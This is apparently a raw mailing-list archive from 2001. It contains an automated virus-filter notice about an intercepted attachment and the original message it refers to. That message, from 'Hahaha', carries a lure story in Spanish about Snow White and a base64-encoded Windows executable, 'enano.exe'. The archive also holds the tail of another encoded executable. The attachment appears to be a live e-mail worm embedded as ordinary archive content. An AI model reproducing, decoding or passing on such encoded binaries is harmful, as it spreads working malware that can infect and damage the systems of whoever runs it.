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
AAAASHXxaAAQQADDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAOHAAAAAAAAAwcAAAAAAAAAAAAABMcAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
OHAAAAAAAAARAUdldE1vZHVsZUhhbmRsZUEAAEtFUk5FTDMyLmRsbAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAA=

----VEIFKPA7CPQ78LIVGPYN--



Received: from cam-mbx1.bbn.com (cam-mbx1.bbn.com [171.78.68.6]) by above.proper.com (8.9.3/8.9.3) with ESMTP id AAA18245 for <[e-mail]>; Wed, 14 Mar 2001 00:49:38 -0800 (PST)
Received: (from virus@localhost) by cam-mbx1.bbn.com (8.8.8+Sun/8.8.8) id DAA16452; Wed, 14 Mar 2001 03:49:26 -0500 (EST)
Date: Wed, 14 Mar 2001 03:49:26 -0500 (EST)
Message-Id: <[e-mail]>
From: "'IT Virus Filter'" <[e-mail]>
To: <[e-mail]>
Subject: Suspicious email message intercepted

Hello-

You are receiving this message because an email message with a
suspicious attachment was intercepted by the POP server.  It
is possible that the message was actually valid, and simply
shared some common features with email viruses such as the
'lovebug' virus.

	Replies to [e-mail] are not read; this
is an automated process to facilitate forwarding the executable
attachment. You must follow these instructions exactly in order
for the software to forward the email.

If you can confirm that this is indeed a valid email message,
and not a virus, then simply respond to this message, pasting the
following information into the Subject: field (copied exactly, all
on one line, starting with "Message re-delivery ..."):

Message re-delivery request -200103140843-AAA16647-above-proper-com-_16451_0

Some identifying information about the message:
	Sender:		Hahaha <[e-mail]>
	Subject:	Enanito si, pero con que pedazo!
	Attachment:	"enano.exe"

We realize that this process is somewhat cumbersome, but, given the
amount of damage that can be caused by email viruses, this is less
disruptive in the long run.

Please send email to <[e-mail]> if you have any questions
or concerns.

Thank you-
Genuity IT



Received: from yoquese ([150.214.214.57]) by above.proper.com (8.9.3/8.9.3) with SMTP id AAA16647 for <[e-mail]>; Wed, 14 Mar 2001 00:43:13 -0800 (PST)
Date: Wed, 14 Mar 2001 00:43:13 -0800 (PST)
Message-Id: <[e-mail]>
From: Hahaha <[e-mail]>
Subject: Enanito si, pero con que pedazo!
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="--VEVOXQV4LEV"

----VEVOXQV4LEV
Content-Type: text/plain; charset="us-ascii"

Faltaba apenas un dia para su aniversario de de 18 años. Blanca de Nieve fuera
siempre muy bien cuidada por los enanitos. Ellos le prometieron una *grande*
sorpresa para su fiesta de compleaños. Al entardecer, llegaron. Tenian un brillo
incomun en los ojos...


----VEVOXQV4LEV
Content-Type: application/octet-stream; name="enano.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="enano.exe"

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
6DMJfhUFG7fWAlCg6DUOjhcKK7nbElKl+DMJjhUFK7fWElCg+DUOnhcKO7nbIlKlCDQJnhUFO7fW
IlCgCG5OCUeqyi2MuWlG/q0Ro4RuTgkXIM+40yZSfAjmh6B8uk1jjqrGuNMiUnwE5oegbLpNU46q
xrjTHlJ8AOaHoFy6TUOOqsa40xpSfPzlh6BMuk0zjqrGuNMWUnz45YegPLpNI42qxrjTElJ89OWH
oCy6TRONqsa40w5SfPDlh6Acuk0DjarGuNMKUnzs5Yc9DifGLYu6Te+Nqsa40wZSfOjlhz0OE8Yt
i7pN242qxrjTAlJ85OWHPQ7/xS2Luk3HjarGuNP+UXzg5Yc9DuvFLYu6TbONqsa40/pRfNzlhz0O
18Uti7pNn42qxrjT9lF82OWHPQ7DxS2Luk2LjarGuNPyUXzU5Yc9Dq/FLYu6TXeNqsa40+5RfNDl
hz0Om8Uti7pNY42qxrjT6lF8zOWHPQ6HxS2Luk1PjarGuNPmUXzI5Yc9DnPFLYu6TTuNqsa40+JR
fMTlhz0OX8Uti7pNJ4yqxrjT3lF8wOWHPQ5LxS2Luk0TjKrGuNPaUXy85Yc9DjfFLYu6Tf+Mqsa4
09ZRfLjlhz0OI8Uti7pN64yqxrjT0lF8tOWHPQ4PxS2Luk3XjKrGuNPOUXyw5Yc9DvvELYu6TcOM
qsa408pRfKzlhz0O58Qti7pNr4yqxrjTxlF8qOWHPQ7TxC2LIji508JRfKTlhz0Ow8QtiyIoudO+
UXyg5Yc9DrPELYsiGLnTulF8nOWHPQ6jxC2LIgi507ZRfJjlhz0Ok8QtiyL4uNOyUXyU5Yc9DoPE
LYsi6LjTrlF8kOWHPQ5zxC2LIti4kzXVaE26SOiJqsaljzGivhexUXyQ081G265RdJQ1FTql8c5G
27ZRdJw1FUKl8dZG275RdKQ1FUql8d5G28ZRdKw1FVKl8eZG285RdLQ1FVql8e5G29ZRdLw1FWKl
8fZG295RdMQ1FWql8f5G2+ZRdMw1FXKl8QZH2+5RdNQ1FXql8Q5H2/ZRdNw1FYKl8RZH2/5RdOQ1
FYql8R5H2wZSdOw1FZKl8SZH2w5SdPQ1FZql8S5H2xZSdPw1FaKl8TZH2x5SdAQ2Faql8T5H2yaK
FpOqxi1Iy0nmeZYvkvOp/S2MDi63sqrGjXScvS2LNGxbn6rGl5wJ8hQXbx6C3Kk7UtSpXCqfqsaF
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
